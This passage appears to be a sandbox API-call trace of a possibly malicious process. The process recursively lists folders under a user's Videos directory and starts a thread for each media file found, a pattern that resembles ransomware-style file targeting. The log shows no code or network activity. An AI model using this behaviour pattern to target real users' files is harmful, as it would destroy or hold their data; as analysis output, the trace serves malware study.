ftLastAccessTime.dwHighDateTime=0x1d4ca60, ftLastWriteTime.dwLowDateTime=0x2e54cc0, ftLastWriteTime.dwHighDateTime=0x1d4ca60, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.614] wcscmp (_String1="..", _String2=".") returned 1 [0072.614] wcscmp (_String1="..", _String2="..") returned 0 [0072.614] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b33c760, ftCreationTime.dwHighDateTime=0x1d4c7c7, ftLastAccessTime.dwLowDateTime=0xa007ccf0, ftLastAccessTime.dwHighDateTime=0x1d4d305, ftLastWriteTime.dwLowDateTime=0xa007ccf0, ftLastWriteTime.dwHighDateTime=0x1d4d305, nFileSizeHigh=0x0, nFileSizeLow=0x16884, dwReserved0=0x0, dwReserved1=0x0, cFileName="6CG7H xzR912b_8fBW.mkv", cAlternateFileName="6CG7HX~1.MKV")) returned 1 [0072.615] wcscmp (_String1="6CG7H xzR912b_8fBW.mkv", _String2=".") returned 1 [0072.615] wcscmp (_String1="6CG7H xzR912b_8fBW.mkv", _String2="..") returned 1 [0072.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x33de250 [0072.615] wcscpy (in: _Dest=0x33de250, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0072.615] wcscat (in: _Dest=0x33de250, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0072.615] wcscat (in: _Dest=0x33de250, _Source="6CG7H xzR912b_8fBW.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv" [0072.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33de250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0072.628] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe79ee40, ftCreationTime.dwHighDateTime=0x1d4d114, ftLastAccessTime.dwLowDateTime=0x24888200, ftLastAccessTime.dwHighDateTime=0x1d4cd0a, ftLastWriteTime.dwLowDateTime=0x24888200, ftLastWriteTime.dwHighDateTime=0x1d4cd0a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MNuAfVGt7Bpb6yoie", cAlternateFileName="MNUAFV~1")) returned 1 [0072.629] wcscmp (_String1="MNuAfVGt7Bpb6yoie", _String2=".") returned 1 [0072.629] wcscmp (_String1="MNuAfVGt7Bpb6yoie", _String2="..") returned 1 [0072.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3432230 [0072.629] wcscpy (in: _Dest=0x3432230, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0072.629] wcscat (in: _Dest=0x3432230, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0072.629] wcscat (in: _Dest=0x3432230, _Source="MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0072.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3432230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c [0072.629] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7addd9d0, ftCreationTime.dwHighDateTime=0x1d4c877, ftLastAccessTime.dwLowDateTime=0x85d38640, ftLastAccessTime.dwHighDateTime=0x1d4c76a, ftLastWriteTime.dwLowDateTime=0x85d38640, ftLastWriteTime.dwHighDateTime=0x1d4c76a, nFileSizeHigh=0x0, nFileSizeLow=0x9790, dwReserved0=0x0, dwReserved1=0x0, cFileName="O6chk3iTPWrLKcnpBh.flv", cAlternateFileName="O6CHK3~1.FLV")) returned 1 [0072.629] wcscmp (_String1="O6chk3iTPWrLKcnpBh.flv", _String2=".") returned 1 [0072.629] wcscmp (_String1="O6chk3iTPWrLKcnpBh.flv", _String2="..") returned 1 [0072.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x33ddfc8 [0072.630] wcscpy (in: _Dest=0x33ddfc8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0072.630] wcscat (in: _Dest=0x33ddfc8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0072.630] wcscat (in: _Dest=0x33ddfc8, _Source="O6chk3iTPWrLKcnpBh.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv" [0072.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ddfc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0072.630] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2358e5d0, ftCreationTime.dwHighDateTime=0x1d4ca50, ftLastAccessTime.dwLowDateTime=0x5a5c0d80, ftLastAccessTime.dwHighDateTime=0x1d4c6a6, ftLastWriteTime.dwLowDateTime=0x5a5c0d80, ftLastWriteTime.dwHighDateTime=0x1d4c6a6, nFileSizeHigh=0x0, nFileSizeLow=0x134ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOMyWjflNtKL.mkv", cAlternateFileName="TOMYWJ~1.MKV")) returned 1 [0072.630] wcscmp (_String1="TOMyWjflNtKL.mkv", _String2=".") returned 1 [0072.630] wcscmp (_String1="TOMyWjflNtKL.mkv", _String2="..") returned 1 [0072.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbe) returned 0x3431fd8 [0072.630] wcscpy (in: _Dest=0x3431fd8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0072.630] wcscat (in: _Dest=0x3431fd8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0072.631] wcscat (in: _Dest=0x3431fd8, _Source="TOMyWjflNtKL.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv" [0072.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0072.631] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2165ca40, ftCreationTime.dwHighDateTime=0x1d4d315, ftLastAccessTime.dwLowDateTime=0xfe2c9a50, ftLastAccessTime.dwHighDateTime=0x1d4d1ec, ftLastWriteTime.dwLowDateTime=0xfe2c9a50, ftLastWriteTime.dwHighDateTime=0x1d4d1ec, nFileSizeHigh=0x0, nFileSizeLow=0x414e, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfMxxS8Vo.mp4", cAlternateFileName="WFMXXS~1.MP4")) returned 1 [0072.631] wcscmp (_String1="wfMxxS8Vo.mp4", _String2=".") returned 1 [0072.631] wcscmp (_String1="wfMxxS8Vo.mp4", _String2="..") returned 1 [0072.631] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x33e2008 [0072.631] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0072.631] wcscat (in: _Dest=0x33e2008, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0072.631] wcscat (in: _Dest=0x33e2008, _Source="wfMxxS8Vo.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4" [0072.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0072.632] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2165ca40, ftCreationTime.dwHighDateTime=0x1d4d315, ftLastAccessTime.dwLowDateTime=0xfe2c9a50, ftLastAccessTime.dwHighDateTime=0x1d4d1ec, ftLastWriteTime.dwLowDateTime=0xfe2c9a50, ftLastWriteTime.dwHighDateTime=0x1d4d1ec, nFileSizeHigh=0x0, nFileSizeLow=0x414e, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfMxxS8Vo.mp4", cAlternateFileName="WFMXXS~1.MP4")) returned 0 [0072.632] FindClose (in: hFindFile=0x34346a8 | out: hFindFile=0x34346a8) returned 1 [0072.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ae0) returned 1 [0072.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6e58) returned 1 [0072.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6720) returned 1 [0072.632] RtlExitUserThread (Status=0x0) Thread: id = 578 os_tid = 0x11b4 [0072.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c750 [0072.615] wcscpy (in: _Dest=0x347c750, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0072.615] wcscat (in: _Dest=0x347c750, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0072.615] wcscat (in: _Dest=0x347c750, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\*" [0072.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3477c70 [0072.615] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\*", lpFindFileData=0x3477c70 | out: lpFindFileData=0x3477c70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7458530, ftCreationTime.dwHighDateTime=0x1d4cffb, ftLastAccessTime.dwLowDateTime=0x38755e60, ftLastAccessTime.dwHighDateTime=0x1d4d399, ftLastWriteTime.dwLowDateTime=0x38755e60, ftLastWriteTime.dwHighDateTime=0x1d4d399, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34346e8 [0072.616] wcscmp (_String1=".", _String2=".") returned 0 [0072.616] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x3477c70 | out: lpFindFileData=0x3477c70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7458530, ftCreationTime.dwHighDateTime=0x1d4cffb, ftLastAccessTime.dwLowDateTime=0x38755e60, ftLastAccessTime.dwHighDateTime=0x1d4d399, ftLastWriteTime.dwLowDateTime=0x38755e60, ftLastWriteTime.dwHighDateTime=0x1d4d399, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.616] wcscmp (_String1="..", _String2=".") returned 1 [0072.616] wcscmp (_String1="..", _String2="..") returned 0 [0072.616] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x3477c70 | out: lpFindFileData=0x3477c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x945ad0c0, ftCreationTime.dwHighDateTime=0x1d4d349, ftLastAccessTime.dwLowDateTime=0x38d50d10, ftLastAccessTime.dwHighDateTime=0x1d4cd63, ftLastWriteTime.dwLowDateTime=0x38d50d10, ftLastWriteTime.dwHighDateTime=0x1d4cd63, nFileSizeHigh=0x0, nFileSizeLow=0x104ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="3uXzADtm2jsVZur.flv", cAlternateFileName="3UXZAD~1.FLV")) returned 1 [0072.616] wcscmp (_String1="3uXzADtm2jsVZur.flv", _String2=".") returned 1 [0072.616] wcscmp (_String1="3uXzADtm2jsVZur.flv", _String2="..") returned 1 [0072.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x33e38d0 [0072.616] wcscpy (in: _Dest=0x33e38d0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0072.616] wcscat (in: _Dest=0x33e38d0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0072.616] wcscat (in: _Dest=0x33e38d0, _Source="3uXzADtm2jsVZur.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv" [0072.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e38d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4 [0072.619] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x3477c70 | out: lpFindFileData=0x3477c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5543a630, ftCreationTime.dwHighDateTime=0x1d4d486, ftLastAccessTime.dwLowDateTime=0x89760e30, ftLastAccessTime.dwHighDateTime=0x1d4c927, ftLastWriteTime.dwLowDateTime=0x89760e30, ftLastWriteTime.dwHighDateTime=0x1d4c927, nFileSizeHigh=0x0, nFileSizeLow=0x14405, dwReserved0=0x0, dwReserved1=0x0, cFileName="7GwWt5bjwAQQGJLdxBpM.mkv", cAlternateFileName="7GWWT5~1.MKV")) returned 1 [0072.619] wcscmp (_String1="7GwWt5bjwAQQGJLdxBpM.mkv", _String2=".") returned 1 [0072.619] wcscmp (_String1="7GwWt5bjwAQQGJLdxBpM.mkv", _String2="..") returned 1 [0072.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x341d810 [0072.619] wcscpy (in: _Dest=0x341d810, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0072.619] wcscat (in: _Dest=0x341d810, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0072.619] wcscat (in: _Dest=0x341d810, _Source="7GwWt5bjwAQQGJLdxBpM.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv" [0072.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341d810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0 [0072.620] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x3477c70 | out: lpFindFileData=0x3477c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee1773d0, ftCreationTime.dwHighDateTime=0x1d4ced4, ftLastAccessTime.dwLowDateTime=0x47801a0, ftLastAccessTime.dwHighDateTime=0x1d4cad7, ftLastWriteTime.dwLowDateTime=0x47801a0, ftLastWriteTime.dwHighDateTime=0x1d4cad7, nFileSizeHigh=0x0, nFileSizeLow=0xb048, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDCA.swf", cAlternateFileName="")) returned 1 [0072.620] wcscmp (_String1="CDCA.swf", _String2=".") returned 1 [0072.620] wcscmp (_String1="CDCA.swf", _String2="..") returned 1 [0072.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eb450 [0072.620] wcscpy (in: _Dest=0x33eb450, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0072.620] wcscat (in: _Dest=0x33eb450, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0072.620] wcscat (in: _Dest=0x33eb450, _Source="CDCA.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf" [0072.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eb450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0072.621] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x3477c70 | out: lpFindFileData=0x3477c70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b96de0, ftCreationTime.dwHighDateTime=0x1d4c752, ftLastAccessTime.dwLowDateTime=0x31569950, ftLastAccessTime.dwHighDateTime=0x1d4d38f, ftLastWriteTime.dwLowDateTime=0x31569950, ftLastWriteTime.dwHighDateTime=0x1d4d38f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MZrE2f", cAlternateFileName="")) returned 1 [0072.621] wcscmp (_String1="MZrE2f", _String2=".") returned 1 [0072.621] wcscmp (_String1="MZrE2f", _String2="..") returned 1 [0072.621] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb8b0 [0072.621] wcscpy (in: _Dest=0x33eb8b0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0072.621] wcscat (in: _Dest=0x33eb8b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0072.621] wcscat (in: _Dest=0x33eb8b0, _Source="MZrE2f" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" [0072.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33eb8b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0072.622] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x3477c70 | out: lpFindFileData=0x3477c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd17abba0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0xeac1480, ftLastAccessTime.dwHighDateTime=0x1d4cee8, ftLastWriteTime.dwLowDateTime=0xeac1480, ftLastWriteTime.dwHighDateTime=0x1d4cee8, nFileSizeHigh=0x0, nFileSizeLow=0x331a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PV0D5fF9zicdSyfj8Wn9.flv", cAlternateFileName="PV0D5F~1.FLV")) returned 1 [0072.622] wcscmp (_String1="PV0D5fF9zicdSyfj8Wn9.flv", _String2=".") returned 1 [0072.622] wcscmp (_String1="PV0D5fF9zicdSyfj8Wn9.flv", _String2="..") returned 1 [0072.622] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x33fb1b0 [0072.622] wcscpy (in: _Dest=0x33fb1b0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0072.622] wcscat (in: _Dest=0x33fb1b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0072.622] wcscat (in: _Dest=0x33fb1b0, _Source="PV0D5fF9zicdSyfj8Wn9.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv" [0072.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fb1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898 [0072.623] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x3477c70 | out: 